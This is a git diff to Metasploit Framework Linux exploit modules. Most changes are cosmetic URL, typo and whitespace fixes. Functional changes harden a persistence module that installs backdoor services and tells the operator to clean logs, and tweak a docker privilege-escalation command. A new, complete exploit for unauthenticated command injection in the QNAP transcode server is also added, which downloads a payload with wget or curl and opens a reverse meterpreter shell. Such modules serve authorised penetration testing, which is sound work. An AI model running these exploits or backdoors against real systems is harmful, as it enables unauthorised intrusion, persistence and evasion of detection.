diff --git a/modules/exploits/linux/local/desktop_privilege_escalation.rb b/modules/exploits/linux/local/desktop_privilege_escalation.rb
index db7ac51d89..40b430b85d 100644
--- a/modules/exploits/linux/local/desktop_privilege_escalation.rb
+++ b/modules/exploits/linux/local/desktop_privilege_escalation.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Exploit::Local
         when it is entered for unlocking the screen or for doing administrative actions using
         PolicyKit. Then, it escalates to root privileges using sudo and the stolen user password.
         It exploits the design weakness that there is no trusted channel for transferring the
-        password from the keyboard to the actual password verificatition against the shadow file
+        password from the keyboard to the actual password verification against the shadow file
         (which is running as root since /etc/shadow is only readable to the root user). Both
         screensavers (xscreensaver/gnome-screensaver) and PolicyKit use a component running under
         the current user account to query for the password and then pass it to a setuid-root binary
diff --git a/modules/exploits/linux/local/docker_daemon_privilege_escalation.rb b/modules/exploits/linux/local/docker_daemon_privilege_escalation.rb
index 8d5528aa1d..59ed4e51f8 100644
--- a/modules/exploits/linux/local/docker_daemon_privilege_escalation.rb
+++ b/modules/exploits/linux/local/docker_daemon_privilege_escalation.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Local
-
   Rank = ExcellentRanking
 
   include Msf::Post::File
@@ -65,11 +64,10 @@ class MetasploitModule < Msf::Exploit::Local
 
     %Q{
       IMG=`(echo "FROM scratch"; echo "CMD a") | docker build -q - | awk "END { print \\\\$NF }"`
-      EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}"
+      EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}; chmod +x #{exploit_path}"
       docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"
       docker rmi -f $IMG
       #{exploit_path}
     }.strip.split("\n").map(&:strip).join(';')
   end
-
 end
diff --git a/modules/exploits/linux/local/hp_smhstart.rb b/modules/exploits/linux/local/hp_smhstart.rb
index 837342c3b8..9222c72e6c 100644
--- a/modules/exploits/linux/local/hp_smhstart.rb
+++ b/modules/exploits/linux/local/hp_smhstart.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -86,5 +86,4 @@ class MetasploitModule < Msf::Exploit::Local
     cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)")
     cmd_exec("#{datastore['smhstartDir']}/smhstart")
   end
-
 end
diff --git a/modules/exploits/linux/local/kloxo_lxsuexec.rb b/modules/exploits/linux/local/kloxo_lxsuexec.rb
index aa0d41d0c1..24baca8ac9 100644
--- a/modules/exploits/linux/local/kloxo_lxsuexec.rb
+++ b/modules/exploits/linux/local/kloxo_lxsuexec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'msf/core/exploit/local/linux'
 require 'msf/core/exploit/exe'
 
 class MetasploitModule < Msf::Exploit::Local
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::EXE
@@ -104,5 +103,4 @@ class MetasploitModule < Msf::Exploit::Local
     register_file_for_cleanup(helper_path)
     cmd_exec("lxsuexec #{helper_path}")
   end
-
 end
diff --git a/modules/exploits/linux/local/netfilter_priv_esc_ipv4.rb b/modules/exploits/linux/local/netfilter_priv_esc_ipv4.rb
index 0547c14af8..7cdbcfdd14 100644
--- a/modules/exploits/linux/local/netfilter_priv_esc_ipv4.rb
+++ b/modules/exploits/linux/local/netfilter_priv_esc_ipv4.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,13 +14,13 @@ class MetasploitModule < Msf::Exploit::Local
     super(update_info(info,
         'Name'           => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation',
         'Description'    => %q{
-          This module attempts to exploit a netfilter bug on Linux Kernels befoe 4.6.3, and currently
+          This module attempts to exploit a netfilter bug on Linux Kernels before 4.6.3, and currently
           only works against Ubuntu 16.04 (not 16.04.1) with kernel
           4.4.0-21-generic.
           Several conditions have to be met for successful exploitation:
           Ubuntu:
           1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such)
-          2. libc6-dev-i386 (ubuntu), glibc-devel.i686  & libgcc.i686 (fedora) needs to be installed to compile
+          2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile
           Kernel 4.4.0-31-generic and newer are not vulnerable.
 
           We write the ascii files and compile on target instead of locally since metasm bombs for not
diff --git a/modules/exploits/linux/local/ntfs3g_priv_esc.rb b/modules/exploits/linux/local/ntfs3g_priv_esc.rb
index 08ee7e2566..de2e2dba03 100644
--- a/modules/exploits/linux/local/ntfs3g_priv_esc.rb
+++ b/modules/exploits/linux/local/ntfs3g_priv_esc.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/local/overlayfs_priv_esc.rb b/modules/exploits/linux/local/overlayfs_priv_esc.rb
index 5fcc93a0c9..3bef6822d7 100644
--- a/modules/exploits/linux/local/overlayfs_priv_esc.rb
+++ b/modules/exploits/linux/local/overlayfs_priv_esc.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/local/pkexec.rb b/modules/exploits/linux/local/pkexec.rb
index 08896eecad..f945526220 100644
--- a/modules/exploits/linux/local/pkexec.rb
+++ b/modules/exploits/linux/local/pkexec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/local/recvmmsg_priv_esc.rb b/modules/exploits/linux/local/recvmmsg_priv_esc.rb
index 14ffbbd0ed..ebb6730ada 100644
--- a/modules/exploits/linux/local/recvmmsg_priv_esc.rb
+++ b/modules/exploits/linux/local/recvmmsg_priv_esc.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/local/service_persistence.rb b/modules/exploits/linux/local/service_persistence.rb
index fab292e3bf..63196f483a 100644
--- a/modules/exploits/linux/local/service_persistence.rb
+++ b/modules/exploits/linux/local/service_persistence.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -81,6 +81,9 @@ class MetasploitModule < Msf::Exploit::Local
 
   def exploit
     backdoor = write_shell(datastore['SHELLPATH'])
+    if backdoor.nil?
+      return
+    end
     path = backdoor.split('/')[0...-1].join('/')
     file = backdoor.split('/')[-1]
     case target.name
@@ -120,8 +123,13 @@ class MetasploitModule < Msf::Exploit::Local
     backdoor = "#{path}/#{file_name}"
     vprint_status("Writing backdoor to #{backdoor}")
     write_file(backdoor, payload.encoded)
-    cmd_exec("chmod 711 #{backdoor}")
-    backdoor
+    if file_exist?(backdoor)
+      cmd_exec("chmod 711 #{backdoor}")
+      backdoor
+    else
+      print_error('File not written, check permissions.')
+      return
+    end
   end
 
   def systemd(backdoor_path, backdoor_file)
@@ -139,8 +147,13 @@ ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file}
 WantedBy=multi-user.target}
 
     service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
-    vprint_status("Writing service: /lib/systemd/system/#{service_filename}.service")
-    write_file("/lib/systemd/system/#{service_filename}.service", script)
+    service_name = "/lib/systemd/system/#{service_filename}.service"
+    vprint_status("Writing service: #{service_name}")
+    write_file(service_name, script)
+    if !file_exist?(service_name)
+      print_error('File not written, check permissions.')
+      return
+    end
     vprint_status('Enabling service')
     cmd_exec("systemctl enable #{service_filename}.service")
     vprint_status('Starting service')
@@ -162,8 +175,13 @@ respawn
 respawn limit unlimited}
 
     service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
-    vprint_status("Writing service: /etc/init/#{service_filename}.conf")
-    write_file("/etc/init/#{service_filename}.conf", script)
+    service_name = "/etc/init/#{service_filename}.conf"
+    vprint_status("Writing service: #{service_name}")
+    write_file(service_name, script)
+    if !file_exist?(service_name)
+      print_error('File not written, check permissions.')
+      return
+    end
     vprint_status('Starting service')
     cmd_exec("initctl start #{service_filename}")
     vprint_status("Dont forget to clean logs: /var/log/upstart/#{service_filename}.log")
@@ -203,7 +221,8 @@ case \"$1\" in
         echo \"Already started\"
     else
         echo \"Starting $name\"
-        cd \"$dir\"}
+        cd \"$dir\"
+}
 
     if has_updatercd
       script << "        sudo $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n"
@@ -267,14 +286,23 @@ esac
 exit 0}
 
     service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
-    vprint_status("Writing service: /etc/init.d/#{service_filename}")
-    write_file("/etc/init.d/#{service_filename}", script)
-    cmd_exec("chmod 755 /etc/init.d/#{service_filename}")
+    service_name = "/etc/init.d/#{service_filename}"
+    vprint_status("Writing service: #{service_name}")
+    write_file(service_name, script)
+    if !file_exist?(service_name)
+      print_error('File not written, check permissions.')
+      return
+    end
+    cmd_exec("chmod 755 #{service_name}")
     vprint_status('Enabling & starting our service')
     if has_updatercd
       cmd_exec("update-rc.d #{service_filename} defaults")
       cmd_exec("update-rc.d #{service_filename} enable")
-      cmd_exec("service #{service_filename} start")
+      if file_exist?('/usr/sbin/service') # some systems have update-rc.d but not service binary, have a fallback just in case
+        cmd_exec("service #{service_filename} start")
+      else
+        cmd_exec("/etc/init.d/#{service_filename} start")
+      end
     else # CentOS
       cmd_exec("chkconfig --add #{service_filename}")
       cmd_exec("chkconfig #{service_filename} on")
diff --git a/modules/exploits/linux/local/sock_sendpage.rb b/modules/exploits/linux/local/sock_sendpage.rb
index 082f20fd45..1e27130525 100644
--- a/modules/exploits/linux/local/sock_sendpage.rb
+++ b/modules/exploits/linux/local/sock_sendpage.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Local
         'Description'   => %q{
           The Linux kernel failed to properly initialize some entries the
           proto_ops struct for several protocols, leading to NULL being
-          derefenced and used as a function pointer. By using mmap(2) to map
+          dereferenced and used as a function pointer. By using mmap(2) to map
           page 0, an attacker can execute arbitrary code in the context of the
           kernel.
 
@@ -445,5 +445,4 @@ int main(int argc, char **argv) {
     output.each_line { |line| vprint_status(line.chomp) }
 
   end
-
 end
diff --git a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb
index f30d24fce5..4cd81033cc 100644
--- a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb
+++ b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/local/udev_netlink.rb b/modules/exploits/linux/local/udev_netlink.rb
index 3f3f292067..dccc9933f5 100644
--- a/modules/exploits/linux/local/udev_netlink.rb
+++ b/modules/exploits/linux/local/udev_netlink.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/local/vmware_mount.rb b/modules/exploits/linux/local/vmware_mount.rb
index fa4becdbbb..e50a3997fe 100644
--- a/modules/exploits/linux/local/vmware_mount.rb
+++ b/modules/exploits/linux/local/vmware_mount.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -82,6 +82,5 @@ class MetasploitModule < Msf::Exploit::Local
   def setuid?(remote_file)
     !!(cmd_exec("test -u #{remote_file.strip} && echo true").index "true")
   end
-
 end
 
diff --git a/modules/exploits/linux/local/zpanel_zsudo.rb b/modules/exploits/linux/local/zpanel_zsudo.rb
index 97cf616166..38760a19d1 100644
--- a/modules/exploits/linux/local/zpanel_zsudo.rb
+++ b/modules/exploits/linux/local/zpanel_zsudo.rb
@@ -1,11 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/exe'
 
-
 class MetasploitModule < Msf::Exploit::Local
   Rank = ExcellentRanking
 
diff --git a/modules/exploits/linux/misc/accellion_fta_mpipe2.rb b/modules/exploits/linux/misc/accellion_fta_mpipe2.rb
index 72093f1c33..b7ce53d371 100644
--- a/modules/exploits/linux/misc/accellion_fta_mpipe2.rb
+++ b/modules/exploits/linux/misc/accellion_fta_mpipe2.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'openssl'
 require 'rexml/element'
 
@@ -150,5 +149,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     "RandomIV" + iv + c.update(data) + c.final
   end
-
 end
diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb
index 3e4018f950..b4c8577fef 100644
--- a/modules/exploits/linux/misc/drb_remote_codeexec.rb
+++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'drb/drb'
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
 
   def initialize(info = {})
@@ -66,5 +65,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
     p.send(:my_eval, payload.encoded)
   end
-
 end
diff --git a/modules/exploits/linux/misc/gld_postfix.rb b/modules/exploits/linux/misc/gld_postfix.rb
index 33b117d380..32938f148d 100644
--- a/modules/exploits/linux/misc/gld_postfix.rb
+++ b/modules/exploits/linux/misc/gld_postfix.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
-  class MetasploitModule < Msf::Exploit::Remote
+class MetasploitModule < Msf::Exploit::Remote
   Rank = GoodRanking
 
   include Msf::Exploit::Remote::Tcp
@@ -63,5 +61,4 @@
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/linux/misc/hikvision_rtsp_bof.rb b/modules/exploits/linux/misc/hikvision_rtsp_bof.rb
index 3be6de75c1..d4022ac62f 100644
--- a/modules/exploits/linux/misc/hikvision_rtsp_bof.rb
+++ b/modules/exploits/linux/misc/hikvision_rtsp_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -134,5 +134,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def rport
     datastore['RPORT']
   end
-
 end
diff --git a/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb b/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb
index a46882dc28..b974661ffa 100644
--- a/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb
+++ b/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -103,5 +103,4 @@ class MetasploitModule < Msf::Exploit::Remote
       disconnect
     end
   end
-
 end
diff --git a/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb b/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb
index c138f55443..30e6bdf2f9 100644
--- a/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb
+++ b/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -221,5 +221,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     nil
   end
-
 end
diff --git a/modules/exploits/linux/misc/hp_vsa_login_bof.rb b/modules/exploits/linux/misc/hp_vsa_login_bof.rb
index 8bda606175..88b2432fff 100644
--- a/modules/exploits/linux/misc/hp_vsa_login_bof.rb
+++ b/modules/exploits/linux/misc/hp_vsa_login_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -107,6 +107,5 @@ class MetasploitModule < Msf::Exploit::Remote
     sock.put(packet)
     disconnect
   end
-
 end
 
diff --git a/modules/exploits/linux/misc/hplip_hpssd_exec.rb b/modules/exploits/linux/misc/hplip_hpssd_exec.rb
index faf4c0975a..98d39ea858 100644
--- a/modules/exploits/linux/misc/hplip_hpssd_exec.rb
+++ b/modules/exploits/linux/misc/hplip_hpssd_exec.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -91,5 +89,4 @@ class MetasploitModule < Msf::Exploit::Remote
     sock.put(msg)
 
   end
-
 end
diff --git a/modules/exploits/linux/misc/ib_inet_connect.rb b/modules/exploits/linux/misc/ib_inet_connect.rb
index 0ec85f5584..4b60d481f6 100644
--- a/modules/exploits/linux/misc/ib_inet_connect.rb
+++ b/modules/exploits/linux/misc/ib_inet_connect.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GoodRanking
 
@@ -119,5 +117,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
diff --git a/modules/exploits/linux/misc/ib_jrd8_create_database.rb b/modules/exploits/linux/misc/ib_jrd8_create_database.rb
index 1102761e47..d3b78e97aa 100644
--- a/modules/exploits/linux/misc/ib_jrd8_create_database.rb
+++ b/modules/exploits/linux/misc/ib_jrd8_create_database.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GoodRanking
 
@@ -110,5 +108,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
diff --git a/modules/exploits/linux/misc/ib_open_marker_file.rb b/modules/exploits/linux/misc/ib_open_marker_file.rb
index a1edf3cf8d..b12ac2977f 100644
--- a/modules/exploits/linux/misc/ib_open_marker_file.rb
+++ b/modules/exploits/linux/misc/ib_open_marker_file.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GoodRanking
 
@@ -110,5 +108,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
diff --git a/modules/exploits/linux/misc/ib_pwd_db_aliased.rb b/modules/exploits/linux/misc/ib_pwd_db_aliased.rb
index b9befdfd8d..b6bbc1597d 100644
--- a/modules/exploits/linux/misc/ib_pwd_db_aliased.rb
+++ b/modules/exploits/linux/misc/ib_pwd_db_aliased.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GoodRanking
 
@@ -108,5 +106,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
diff --git a/modules/exploits/linux/misc/jenkins_java_deserialize.rb b/modules/exploits/linux/misc/jenkins_java_deserialize.rb
index 3ed162368f..f9d10937ff 100644
--- a/modules/exploits/linux/misc/jenkins_java_deserialize.rb
+++ b/modules/exploits/linux/misc/jenkins_java_deserialize.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -265,5 +265,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     data
   end
-
 end
diff --git a/modules/exploits/linux/misc/lprng_format_string.rb b/modules/exploits/linux/misc/lprng_format_string.rb
index effbbcdd57..0da4025526 100644
--- a/modules/exploits/linux/misc/lprng_format_string.rb
+++ b/modules/exploits/linux/misc/lprng_format_string.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
@@ -164,7 +162,6 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
 
 
diff --git a/modules/exploits/linux/misc/mongod_native_helper.rb b/modules/exploits/linux/misc/mongod_native_helper.rb
index e4c7e3b14e..cb37682aca 100644
--- a/modules/exploits/linux/misc/mongod_native_helper.rb
+++ b/modules/exploits/linux/misc/mongod_native_helper.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb
index 3e1ad29c11..095e6d1300 100644
--- a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb
+++ b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 #
@@ -182,5 +182,4 @@ class MetasploitModule < Msf::Exploit::Remote
     @ssl_socket.sysclose if datastore['NRPESSL'] or @force_ssl
     super
   end
-
 end
diff --git a/modules/exploits/linux/misc/netcore_udp_53413_backdoor.rb b/modules/exploits/linux/misc/netcore_udp_53413_backdoor.rb
index a037c90b16..d5cb5c6a70 100644
--- a/modules/exploits/linux/misc/netcore_udp_53413_backdoor.rb
+++ b/modules/exploits/linux/misc/netcore_udp_53413_backdoor.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/misc/netsupport_manager_agent.rb b/modules/exploits/linux/misc/netsupport_manager_agent.rb
index 9db00827eb..edb72dd9d3 100644
--- a/modules/exploits/linux/misc/netsupport_manager_agent.rb
+++ b/modules/exploits/linux/misc/netsupport_manager_agent.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb
index 55853a891f..3961734523 100644
--- a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb
+++ b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -125,5 +125,4 @@ class MetasploitModule < Msf::Exploit::Remote
     sock.get_once(-1, 10)
     disconnect
   end
-
 end
diff --git a/modules/exploits/linux/misc/opennms_java_serialize.rb b/modules/exploits/linux/misc/opennms_java_serialize.rb
index 05721012ac..553f8375a6 100644
--- a/modules/exploits/linux/misc/opennms_java_serialize.rb
+++ b/modules/exploits/linux/misc/opennms_java_serialize.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
         'Name'           => 'OpenNMS Java Object Unserialization Remote Code Execution',
         'Description'    => %q(
           This module exploits a vulnerability in the OpenNMS Java object which allows
-          an unauthenticated attacker to run arbitary code against the system.
+          an unauthenticated attacker to run arbitrary code against the system.
         ),
         'Author'         =>
           [
diff --git a/modules/exploits/linux/misc/qnap_transcode_server.rb b/modules/exploits/linux/misc/qnap_transcode_server.rb
new file mode 100644
index 0000000000..0eeb3da832
--- /dev/null
+++ b/modules/exploits/linux/misc/qnap_transcode_server.rb
@@ -0,0 +1,117 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Exploit::CmdStager
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'QNAP Transcode Server Command Execution',
+      'Description' => %q{
+        This module exploits an unauthenticated remote command injection
+        vulnerability in QNAP NAS devices. The transcoding server listens
+        on port 9251 by default and is vulnerable to command injection
+        using the 'rmfile' command.
+
+        This module was tested successfully on a QNAP TS-431 with
+        firmware version 4.3.3.0262 (20170727).
+      },
+      'Author'     =>
+        [
+          'Zenofex', # Initial vulnerability discovery and PoC
+          '0x00string', # Initial vulnerability discovery and PoC
+          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
+        ],
+      'License'    => MSF_LICENSE,
+      'Platform'   => 'linux',
+      'References' =>
+        [
+          [ 'URL', 'https://www.exploitee.rs/index.php/QNAP_TS-131' ],
+          [ 'URL', 'http://docs.qnap.com/nas/4.1/Home/en/index.html?transcode_management.htm' ]
+        ],
+      'DisclosureDate'  => 'Aug 6 2017',
+      'Privileged'      => true,
+      'Arch'            => ARCH_ARMLE,
+      'DefaultOptions'  =>
+        {
+          'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
+        },
+      'Targets'         => [['Automatic', {}]],
+      'CmdStagerFlavor' => %w{wget curl},
+      'DefaultTarget'   => 0))
+
+    register_options(
+      [
+        Opt::RPORT(9251),
+        OptInt.new('DELAY', [true, 'How long to wait for the device to download the payload', 30])
+      ])
+    deregister_options 'cmdstager::decoder'
+  end
+
+  def check
+    vprint_status 'Connecting to transcode server...'
+
+    connect
+    sock.put "\x01\x00\x00\x00"
+    res = sock.get_once
+
+    if res.blank?
+      vprint_status 'No reply from server'
+      return CheckCode::Safe
+    end
+
+    vprint_status "Received response: #{res}"
+
+    return CheckCode::Detected if res.to_s =~ /client's request is accepted/
+
+    CheckCode::Safe
+  rescue ::Rex::ConnectionError
+    vprint_error 'Connection failed'
+    return CheckCode::Unknown
+  ensure
+    disconnect
+  end
+
+  def execute_command(cmd, opts)
+    # Filtered characters: 0x20 ! $ & 0x39 , ; = [ ] ^ ` { } %
+    # Execute each command seperately
+    cmd.split(';').each do |c|
+      connect
+      vprint_status "Executing command: #{c}"
+
+      # Replace spaces with tabs
+      c.tr! ' ', "\t"
+
+      sock.put "\x01\x00\x00\x00/|#{c}|\x00"
+      res = sock.get_once
+
+      unless res.to_s =~ /client's request is accepted/
+        print_status 'Unexpected reply'
+        break
+      end
+
+      print_status "Sent command successfully (#{c.length} bytes)"
+
+      disconnect
+
+      if c =~ /^(curl|wget)/
+        print_status "Waiting for the device to download the payload (#{datastore['DELAY']} seconds)..."
+        Rex.sleep datastore['DELAY']
+      end
+    end
+  rescue ::Rex::ConnectionError
